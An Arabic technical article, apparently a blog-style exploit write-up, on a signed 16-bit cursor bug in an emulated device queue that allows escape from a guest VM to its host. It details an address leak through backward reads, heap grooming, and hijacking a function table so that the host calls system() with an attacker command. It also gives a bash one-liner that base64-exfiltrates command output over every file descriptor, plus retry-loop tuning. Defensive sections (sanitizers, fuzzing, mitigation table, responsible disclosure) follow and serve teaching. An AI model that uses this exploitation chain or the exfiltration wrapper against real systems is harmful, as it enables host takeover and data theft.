  • محللات صيغ الملفات: الصيغ المقطعة (سجلات مسبوقة بأطوال) بأطوال مقاطع موقعة وقارئات مؤشرية.
  • إعادة تجميع الشبكات: إزاحات الأجزاء وعدادات “الباقي” بأنواع موقعة، خاصة في stacks المدمجة.
  • IPC النواة: queues رسائل بمؤشرات قراءة وكتابة عبر حدود الثقة.
  • محللات تحديثات البرامج الثابتة: مشي TLV (نوع-طول-قيمة) بأطوال موقعة، يعمل على محمّلات الإقلاع حيث لا ASLR ولا فرصة ثانية.
  • شيفرة شبكات الألعاب: فروق الكيانات ومؤشرات اللقطات من عملاء غير موثوقين، تُحلَّل بمعدل 60Hz دون وقت للحذر (وهو بالضبط وقت وجوب الحذر).
  • إضافات اللغات الأصلية: واجهات slice(offset, length) حيث يصل إزاحة موقعة من عالم السكربت إلى حساب مؤشرات في C++. فحدّ اللغة حدّ ثقة أيضاً.

القراءة بالأرقام (الاتجاه الآخر)

أعطتك الكتابةُ التحكمَ في الترويسة، والآن أنفقها. والمؤشر عند -16 من الخطوة 3، ازرع عبر النافذة الخلفية نفسها r_off=-32, w_off=0. ثم اطلب من الجهاز تفريغ 64 بايتاً. تبدأ الحلقة عند buf[-32]، أي قبل الترويسة نفسها بست عشرة خانة، وتمشي إلى الأمام: أولاً ثماني خانات prev (عنوان العقدة على الـ heap، مبارك، صرت تعرف أين تسكن)، ثم next وsize والمؤشران، ثم owner (عنوان كائن الـ queue، اطرح إزاحة الـ queue المعلومة تملك عنوان كائن الجهاز على المضيف)، ثم أول 32 خانة من البيانات الحقيقية. كلها تُنسخ عبر DMA إلى صفحة سلّمتها أنت، دون فك تشفير في طريق الخروج (تفريغ نص صريح أصلاً)، ودون انهيار، ودون إنذار. فعملية البرنامج العادية “أعطني بياناتي” سلّمتك للتو محفظته، وستفعلها مرات بعدد ما تطلب، لأنها من وجهة نظرها كلها قراءات قانونية تماماً: المؤشر قال ذلك، والمؤشر دائماً على حق.

القلب بالأرقام (إنفاق العناوين)

صار لديك الآن عنوانان على المضيف: عقدة queue وكائن الجهاز. ويضمّ كائن الجهاز، بين حقول مملة، جدول عمليات: مؤشرا دالتين (read وwrite) وبجانبهما مباشرة مؤشر سياق يمرّره الجهاز وسيطاً أول. وهذا التخطيط (الثلاثة ضمن بضع عشرات الخانات) هو الطريقة المعتادة التي يوزّع بها المحاكي العمل، وهو هدية: اكتب فوق الجدول عناوين تختارها والسياق بيانات تختارها، فيصير الوصول الروتيني التالي للجهاز استدعاءً لدالتك بوسيطك. لا ROP ولا سلاسل أدوات هنا: فالبرنامج يتصل برقمك بنفسه.

عملياً: هيّئ الـ queue (فالتخزينات المتكررة التي تتوزع على عقد جديدة تخصص باستمرار، فعدد العقد مقبض تديره) حتى تهبط عقدة جديدة ملاصقة لكائن الجهاز. اكتب عبر النافذة الخلفية: الجدول المزيّف إلى صفحة التبادل DMA (تقرؤها لتتأكد من التموضع)، وفيه read = عنوان دالة system (محلول من قاعدة PIE المسربة، ولا حاجة لمكتبة)، وopaque = عنوان نص أمرك (في الصفحة نفسها، موضوع عبر المصافحة). ثم نفّذ أبريأ عملية في الواجهة: اقرأ بايتاً عند الإزاحة صفر. يقرأ الموزّع جدولك، فينادي دالتك، بوسيطك. على المضيف. بصفة مستخدم المحاكي. لقد سقط حدّ الامتياز كله لأن بنية وضعت مؤشرات دوالها بجانب بياناتها، أي لأنها كُتبت كما يكتب الجميع.

رياضيات التهيئة (لماذا ينجح الرشّ)

كل توزيع يخصص عقدة جديدة بحجم مدوّر، فكل تشفير يفيض عن العقدة الحالية يسكّ عملات heap بإيقاع ثابت. وبحدّ أقصى يقارب 4096 عقدة فأنت لا ترجو التجاور بل تصنعه: املأ الجوار بعقد تتحكم فيها، وحرّر ما لا تحتاجه (فالتفريغ يحرّر العقد الفارغة، مقبض آخر)، والمخصّص، الحتمي حين تقوده بهذه القسوة، يضع العقدة الجديدة حيث كانت المحرّرة. ملاصقة للجهاز، في النهاية، بالحمام الزاجل لا بالدعاء. والقاعدة تعمّم: كلما منحتك واجهة التخصيصَ والتحريرَ واختيارَ الأحجام معاً فليس لديك heap بل رقعة شطرنج، وأنت تلعب بالطرفين.

قناة التهريب (كيف تصل الغنيمة إلى البيت)

التفجير نصف المهمة، وسماع الجواب نصفها الآخر. فالأمر يعمل على المضيف ومخرجه يذهب حيث تشير واصفات المحاكي، أي من وجهة نظرك إلى لا مكان مفيد. لذا يُغلَّف كل أمر قبل أن يصل الجهاز:

bash -c '{ <cmd>;echo DONE_<random>; } > /tmp/o 2>&1; for i in $(seq 3 96);do base64 /tmp/o >&$i;done;true'

أربع أفكار في سطر واحد، كل منها مدفوع الثمن:

  1. التجميع. { ...; } > /tmp/o يوجّه مخرج الأمر كله لا الأخير وحده. فبدون الأقواس يرتبط التوجيه بصدى النهاية فيضيع المخرج الحقيقي في الفراغ بينما يبلّغ كل شيء عن نجاح. وهذا الخلل بالذات أكل مرة مخرج تفجير موثّق أمام الشهود.
  2. العلامة. DONE_<random> (ست عشري جديد كل جولة) تُلحق بكل مخرج. ولا يُعلَن النجاح إلا حين تحوي البايتات المفكوكة العلامة، وأبداً حين “يبدو أنه عمل”. فالتفجير بلا علامة شائعة، والشائعات لا تُنهي المهام.
  3. القصف الشامل للواصفات. for i in $(seq 3 96) يكتب base64 إلى كل واصف محتمل لأنك لا تعرف أيها مقبسك. ويفشل معظمها بصمت، ويوصّل مقبسك. وغلاف bash -c موجود لأن الأصداف الأضعف تُجهض السطر كله عند أول رقم واصف سيئ بدل أن تواصل السير.
  4. الميزانية. فتحة التجهيز التي تحمل هذا النص تسع 143 بايتاً بالمجموع، الغلاف مشمولاً، فيبقى لأمرك الفعلي نحو ثلاثين خانة. فالإيجاز هنا ليس أسلوباً بل فيزياء. والمهام الأطول تجري على جولتين: أنزل أداة تنزيل أولاً ثم نفّذ ثانياً.

وقاعدة مفكّك واحدة أهم مما تبدو: لا تثق إلا بالبايتات الوافدة بعد انتهاء رفعك (فالرفع نفسه، نصف ميجابايت، base64 على القناة نفسها، والمحلّل الطمّاع “سيجد” حمولتك داخل رفعك أنت). اقطع النص عند علامة الإطلاق وحلّل ما بعدها فقط.

رياضيات اليانصيب وتشريح التعلّق (ماذا تعلّم الفشل)

استعادة العناوين يانصيب heap: كل إقلاع جديد يعيد توزيع المخصّص، وتقريباً محاولة من ثلاث تجد البصمة. والفشل النظيف (لا بصمة، تجهيز خاطئ) يُبقي النسخة سليمة، وإعادة الإقلاع داخل الضيف تعيد التوزيع مجاناً في ثوانٍ. فالفشل عادة مجاني، والحلقة تعيده ببساطة.

والتعلّق حيوان آخر. فحين تضع الشريحة مؤشر القراءة بعد مؤشر الكتابة عند المرساة، لا تطابق حلقة التفريغ فرع الأصغر ولا فرع المساواة، فتدور إلى الأبد على خيط المضيف ممسكة بقفل الجهاز. ومن الخارج يبدو المخطط الزمني واحداً دائماً: يقبل المقبس ثم صمت، ثم (بعد مهلة الاستسلام) يرفض المنفذ كل اتصال إلى الأبد. روقب ست دقائق كاملة مرة: مرفوض ومرفوض ومرفوض. فالمحاكي لا يعود أبداً لأنه لم يبقَ ما يعود به؛ فالعملية المعلقة تُجنى في النهاية، والعنوان الذي يرفض كل شيء ليس عنواناً بعد. ولهذا تُنفَق الأهداف الجديدة على التعلّق وحده دون الفشل، ولهذا لا ينقذك مراقب مزروع في الضيف (لا شيء تزرعه ينجو من الجلسة التي أطلقته، والضيف يعيد الإقلاع وحده أصلاً). فيجب أن يعيش المُعيد خارج الضيف. ولا نسخة أذكى من هذه الفقرة.

المثال نفسه مصغّراً (عشرون سطراً بلا محاكاة)

جرّد كل شيء فيبقى الخلل في ملف اختبار. ترجمه ونفّذه وشاهد عدّاداً يمشي إلى الخلف خارج بابه الأمامي:

#include <stdio.h>
#include <stdint.h>
#include <string.h>

struct box { int16_t size, r, w; char secret[8]; char buf[16]; };

int main(void)
{
    struct box b = {16, 0, 0, "SECRET!!", {0}};
    /* خزّن بايت 'A' ثم "حشو" 1: w = 0+1-1 = 0، بريء */
    b.buf[b.w++] = 'A'; b.w -= 1;
    /* ثم "التخزين الفارغ بحشو 4" (خدعة size=0): */
    int16_t size = 0, pad = 4;   /* الحشو "مقروء" من buf[-1]، صدّقنا */
    b.w += size; b.w -= pad;     /* w = -4. لا فحص. بالهناء. */
    printf("w = %d\n", b.w);
    /* التخزين التالي يهبط قبل مكانه بأربع خانات: داخل secret مباشرة */
    memcpy(&b.buf[b.w], "PWNED!!!", 8);
    printf("secret = %.8s\n", b.secret);
    return 0;
}

يطبع w = -4 ثم secret = NED!!! (تقريباً حسب المحاذاة). لا محاكاة ولا تشفير ولا تهيئة heap: مجرد مؤشر موقّع وطرح مشتق من البيانات وفحص لاحق مفقود. ضع هذا في وثائق تأهيل فريقك بجانب أوامر الـ sanitizers. وستشكرك ذاتُك المستقبلية، وسيضطر المهاجمون المستقبليون للبحث عن مهنة أخرى.

الدفاع: كيف تصلح هذه الفئة، مرقّماً (تتمة عملية)

القائمة الأساسية سبقت في قسم الشيفرة، وهنا تتمتها الميدانية:

  1. فزّر فكّ التشفير وحده. ففاحص الحشو دالة صغيرة خالصة: أطعمه كل الأطوال من 0 إلى 64 وكل بايت أخير من 0 إلى 255، وقارن النتيجة بتطبيق مرجعي. فالثقب size = 0 يُكتشف في أول ألف حالة، لا في أول ألف جلسة.
  2. تتبع بايتاً واحداً حقيقياً. قبل أي أتمتة، سجّل جلسة كاملة يدوياً: المصافحة والزرع والتخزين الفارغ والكتابة الخلفية والتفريغ، واكتب كل قيمة مؤشر في جدول على ورق. فالأتمتة المبنية على نموذج ذهني غير مُتتبَّع تُؤتمت سوء فهمك على نطاق واسع.
  3. اجعل الفشل صاخباً في بيئات التطوير. فتأكيدات assert(w >= 0) المترجمة خارج الإصدار لا تحمي الإنتاج، لكنها تصرخ في وجوه المطورين أثناء الاختبار، والصراخ المبكر أرخص من الترقيع المتأخر.

نقاط الفحص والمراجعة

  • ابحث عن حقول المؤشرات والحالة بأنواع موقعة دون int (int16_t وshort) المستعملة فهارس أو أطوالاً. فكل إصابة مشتبه حتى يُثبَت تحديده حسابياً.
  • ولكل += و-= على حقل كهذا اسرد مصدر كل معامل. فالتأثر بالمهاجم في أي مكان أعلى التيار (ولو داخل مخرجات سابقة) يعني أن النتيجة تحتاج فحصاً لاحقاً.
  • اكتب اختبار الصفر أولاً: خزّن لا شيء واقرأ لا شيء ثم أكّد أن المؤشرات لم تتحرك. وراقب كم قاعدة شيفرة تفشل فيه.
  • راجع جهة الاستهلاك بالريبة نفسها التي تراجع بها جهة التخزين. فالقرّاء يتعلقون والكتّاب يفسدون. والاتجاهان يحتاجان الحد.
  • شغّل الـ sanitizers وقصدها: بناء تنقيح بـ -fsanitize=address,undefined يحوّل مقالنا كله إلى رسالة إيقاف من سطر واحد تشير إلى الـ memcpy نفسه. فالفهرس السالب يوقع AddressSanitizer فوراً، وقراءة buf + size - 1 مع size = 0 هي بالضبط ما يعيش له UBSan. واربطهما في CI لتجري كل نسخة تسلسل البروتوكول تحتها.

خرافات شائعة

  • “نتحقق من الحجم فنحن آمنون.” تتحقق من معامل واحد. والمؤشر يتحرك باثنين.
  • “المدخل الصفري لا عملية.” هو لا عملية على البيانات وعملية كاملة على البيانات الوصفية. فأخطر طلب في هذا المقال يحرّك صفر بايت.
  • “الموقّع مقابل غير الموقّع مسألة أسلوب.” هنا هو الفرق بين إيقاف صاخب وكتابة خلفية صامتة في جدول دوال.
  • “التشفير يحمينا.” لم يُهاجَم التشفير قط، بل استُعمل ساعياً: أوصل بايتات مختارة من المهاجم إلى المكان الصحيح بختم أصالة لم يطلب أحد التحقق منه.
  • “التعلّق مجرد حرمان خدمة.” فالتعلّق الذي يجمّد حلقة المحاكي هو أيضاً مسرح جريمة مدمَّر: لا سجلات ولا حالة ولا فرص ثانية على تلك النسخة. فثغرات التوافر تأكل الأدلة الجنائية فطوراً.
  • “الـ fuzzer كان سيجده.” فقط الحكومي الذي يؤرشف ظروفاً فارغة منتصف الجلسة. فمفزّرك الموجّه بالتغطية سيزيد تعظيم تغطية السطور وينفّذ مسار size = 0 من اليوم الأول دون أن يتعلم شيئاً، لأن الثغرة ليست في المسار بل في الحالة التي يتركها المسار خلفه. فالتغطية عمياء عن المؤشرات.
  • “التحليل الساكن يمسك ثغرات الإشارة.” أحياناً لتدفقات مباشرة من int إلى فهرس. لكنه يتعثر بالضبط حيث تعيش ثغرتنا: قيم تُغسَل عبر تشفير وتُخزَّن وتُعاد قراءتها جلسات لاحقاً وتُجمَع عبر عمليات. فيرى المحلل ثلاث عبارات آمنة، ويرى المستغِل برنامجاً واحداً غير آمن.

مسرد

  • المؤشر: فهرس يتذكر موضعاً (إزاحة قراءة أو كتابة). البطل والشرير معاً.
  • ثغرة الإشارة: معاملة قيمة كموقعة بينما يحتاج المنطق غير موقعة (أو العكس)، فتتسلل السوالب من فحوص بُنيت للموجبات.
  • خارج الحدود (OOB): الوصول لذاكرة خارج الكائن المقصود. والخلفي منه (الفهرس السالب) يصيب الترويسات، والأمامي يصيب الجيران.
  • تهيئة الـ heap: ترتيب تخطيط الـ heap بالتخصيص والتحرير حتى يهبط كائن الضحية حيث تريده. بستنة لكن للاستغلال.
  • MMIO: إدخال/إخراج معنون بالذاكرة، به يعبث الضيوف بسجلات الأجهزة الافتراضية عبر قراءة عناوين فيزيائية سحرية وكتابتها.
  • DMA: الوصول المباشر للذاكرة، به يقرأ الجهاز ذاكرة الضيف ويكتبها بنفسه بعد إعطائه العنوان. شاحنة التهريب في قصتنا.
  • اختطاف جدول العمليات: الكتابة فوق بنية مؤشرات دوال (مع وسيطها) لينادي الشيفرة العادية دالتك. ولا ROP حين يتصل البرنامج برقمك بنفسه.
  • شريحة ASLR / اليانصيب: عشوائية العناوين في كل إقلاع، كل إقلاع جديد يعيد توزيع الـ heap، ولهذا تفشل بعض المحاولات فتعيد الحلقة.
  • Canary: قيمة تضحية توضع لكشف الكتابة فوقها. وغيابها اللافت بين ترويستنا ومخزننا هو سبب وجود هذا الفصل.
  • Oracle: أي قناة تجيب بنعم/لا عن حالة خفية (عدد مرتجع أو فرق توقيت أو رمز خطأ). فالمشي مدفوع بالـ oracle: كل قراءة تسأل “هل وصلت البصمة بعد؟”.
  • ضجيج PS2: محارف المحث الثانوي التي يطبعها الـ shell أثناء ابتلاع heredoc. وسيكون نص رفعك مليئاً بمحارف >، فأحبها، فهي تعني أن البايتات تتحرك.
  • Heredoc: ميزة الـ shell خلف ذلك الضجيج (cat > file <<'EOF' ثم سطور ثم EOF). شاحنة التوصيل في قصتنا: نصف ميجابايت من الـ probe يركبها إلى الضيف.
  • اليانصيب (يانصيب المشي): مقامرة كل محاولة على تخطيط الـ heap. إقلاع جديد وشريحة جديدة واحتمالات جديدة. والعب جولات كافية فيصير الإحصاء حتمية بخطوات إضافية.
  • إعادة الإشعال: التفجير مرتين إضافيتين بعد النجاح الأول، لأن العينة الواحدة حكاية والثلاثة مجموعة بيانات.
  • صفحة التجهيز: ذاكرة مشتركة مرئية للمهاجم تُركن فيها نص الأمر والبنى المزيفة قبل القلب. فالعقار كل شيء: يجب أن يكون عنوانه متوقعاً ومحتواه متوقعاً.
  • التفجير: لحظة انطلاق تدفق التحكم المختطف فعلاً (استدعاء الجدول المقلوب). فكل ما قبله تحضير وكل ما بعده عواقب.
  • فحص الملاءمة: الحارس الذي يقارن الطلب بالمساحة الباقية (size > room؟). الحارس حسن النية في قصتنا، الذي هزمته عملية حساب لم يتعلمها يوماً.
  • الزرع: بايتات المهاجم التي يتركها طلب سابق ليستعملها لاحق (فيض 0x10 والترويسات المزيفة). زراعة لكن المحصول بيانات وصفية لغيرك.

أسئلة شائعة

س: لماذا لا نجعل كل شيء غير موقّع فحسب؟ ج: يحوّل هذه الثغرة بالذات من صامتة إلى صاخبة (الالتفاف إلى 65520 يُسقط فحص الملاءمة)، وهذا قيّم فعلاً. لكن عدم التوقيع وحده لا يصلح منطقاً يطرح قيماً مشتقة من البيانات، فأبقِ الفحص اللاحق أيضاً. حزام وحمّالات وزوج احتياطي.

س: ألا يكفي فحص الحشو قبل النسخ؟ ج: سيقرأ buf[-1] على المدخل الفارغ أيضاً. فالقراءة هي الثغرة بقدر الطرح. افحص size > 0 أولاً دائماً.

س: هل يحتاج المهاجم فعلاً لمعرفة مفتاح التشفير؟ ج: في سيناريونا نعم للنص المختار، والمصافحة تسلّمه بالتصميم (الضيف يختار مفتاح الجلسة). وتفعل الأنظمة الحقيقية هذا أكثر مما يعترف المصممون: فكل تدفق “أحضر مفتاحك” يمنح المهاجم نصاً مختاراً مجاناً.

س: لماذا يقتل التعلّق المحاكي كله بدل أن يفشل فقط؟ ج: لأن الحلقة اللانهائية تدور على خيط المضيف ممسكة بقفل الجهاز. فكل وصول MMIO لاحق يصطف خلف قفل لا يُفتَح أبداً، وتتعطل حلقة الأحداث، ويموت التشبيك معها، ويجني المشرف الحاوية في النهاية. فشريحة سيئة واحدة وخسارة كاملة. احترم الـ mutex.

س: كيف تتحقق من النجاح دون الوثوق بالتفجير؟ ج: لا تثق أبداً أنه “عمل”. ألحق كل أمر بعلامة عشوائية (;echo DONE_<rand>)، وهرّب المخرجات الكاملة، ولا تقبل إلا النصوص التي تحوي العلامة بعد فك التشفير. فالتفجير بلا تحقق شائعة.

س: ماذا يكلّف التعلّق فعلاً؟ ج: هدفاً جديداً في كل مرة، مع الدقائق المنفقة قبله. فلا ائتمان جزئياً: النسخة المعلقة لا تُنقَذ (إعادة التشغيل الطبيعية لم تُشاهَد قط)، ولا يعمل أي إجراء من الضيف على حلقة لا نهائية في المضيف. ضع ميزانية التعلّق كتذاكر طيران: غير قابلة للاسترداد، وأحياناً لا مفر منها، وتستحق دائماً حين يكون البديل هو العودة إلى البيت.

س: هل كان seccomp سينقذ المضيف؟ ج: لقلّص نصف قطر الانفجار (لا عمليات جديدة ولا شبكة ولا ملفات فوق الصور)، فيحوّل “اختراقاً كاملاً” إلى “محاكٍ عالق”. فالحبس لا يصلح الثغرة أبداً، بل يقرر ما يُسمَح للثغرة بشرائه. اشترِ أقل.

س: هل اليانصيب حتمي فعلاً أم غير محسَّن فقط؟ ج: فالشريحة التي تقرر r مقابل w تُوزَّع من ASLR قبل وصول أول بايت لك، ولا قراءة يمكنها كشفها تنجو من المحاولة (فأي قراءة كهذه هي المكالمة المعلقة). يمكنك تهيئة كل ما بعد المرساة، لكن بايتات المرساة نفسها قدر. فحسّن حلقة إعادة المحاولة (إقلاعات مجانية وكشف تعلّق سريع عند ~45 ثانية من صمت المشي)، ولا تحسّن المقامرة نفسها أبداً.

س: لماذا int16_t لا int عادي؟ من يختار 16 بت هذه الأيام؟ ج: من يرصّ البنية. فهذه المؤشرات تعيش في ترويسات تُشارَك عبر حدود الثقة (أو تُحفَظ أو تُنقَل بـ DMA)، حيث لكل بايت سبب تخطيطي: صيغ سلكية وسجلات عتاد واستقرار ABI وأسطر cache. وكانت الست عشرة بتاً واسعة حين كان الـ buffer 256 خانة، ثم نما الـ buffer إلى 4096 ولم يعُد أحد إلى المؤشر. فتعفّن العرض: يبقى الحقل بحجمه بينما يتوسع كل ما حوله. فراجع بنياتك عن حقول كانت “واسعة” قبل خمس سنوات.

س: الكتابة تحتاج الجار الملاصق، فماذا لو عاشت البيانات الوصفية في مكان آخر؟ ج: فيشتري هذا الفيض بالذات أقل بكثير: افصل الترويسات في تخصيص مستقل (أو صفحة حراسة بين البيانات الوصفية والبيانات) فتهبط كتابة الست عشرة خانة الخلفية في حشو أو ذاكرة غير معنونة، منهارة بصخب بدل أن تفسد بهدوء. فالبيانات الوصفية الضمنية (ترويسات مضمّنة قبل المخازن) مريحة وسريعة وخطيرة بالضبط بقدر ما يوضح هذا المقال. والبيانات الوصفية الخارجية تكلّف مطاردة مؤشر واحدة وتزيل فئة البدائيات كلها. فسعّرها وفق ذلك.

س: وجدت واحدة كهذه في البرية، أستغل أم أبلّغ؟ ج: بلّغ عبر قناة البائع الأمنية، مرفقاً المعيد ومقترح الإصلاح (ومقتطفات التصحيح أعلاه جاهزة). فإثبات المفهوم ينتهي عند إظهار التحكم في مختبرك أنت ضد نسختك أنت، ومستأجرو الآخرين ليسوا مختبراً. فثغرات هذه الفئة تستحق مكافآت حقيقية بالضبط لأن البائعين يفضلون الدفع لك على استضافتك دون دعوة.

قائمة تخفيف (جدول)

الفئةالإجراءالأدوات
الأنواعمؤشرات غير موقعة، وتوسيع إلى 32-بت للحسابتحذيرات المترجم (-Wconversion) وCodeQL
التحققفحص لاحق لكل مؤشر محسوب ضد [0, bound]asserts وsanitizers (UBSan وASan)
معالجة المدخلاترفض size <= 0 قبل أي قراءة مشتقة من البياناتاختبارات وحدة تشمل الصفر والفارغ
سلامة الحلقاتفرع رفض صريح لـ r > w (أو ما يكافئه)مراجعة الشيفرة والتفجير بمهلات
التخطيطفصل البيانات الوصفية عن مخازن البياناتأدلة التصليب وصفحات الحراسة
الاختبارتفجير بروتوكولي بحالة وسلاسل متعددة الطلباتأدوات libFuzzer ومشغّلات مخصصة
الاستجابةعامل التعلّق قاتلاً: أعد الضبط ولا تعِد المحاولة في المكانمراقبات وعقود رموز خروج

المراجع

خاتمة

لم يرتكب أميننا يوماً خطأً يلاحظه إنسان. فكل أرشفة مفردة بدت صحيحة: الأحجام مفحوصة والحشو متحقق والنسخ تهبط حيث تقول الأرقام. وكانت الكارثة أبداً في خطوة واحدة، بل في الحساب بين الخطوات، في البت السادسة عشرة التي لا يقرؤها أحد، وفي الظرف الفارغ الذي لا يشتبه فيه أحد.

عُدّ إشارات مؤشراتك كما تعُدّ مخارج الطوارئ في مركز بيانات: قبل أن تحتاجها، وبصوت عالٍ، ومرتين. فالمحاكي الذي يثق برقم سالب يشغّل شيفرتك أصلاً، هو فقط لا يعرف ذلك بعد.

⌘
Suggested Searches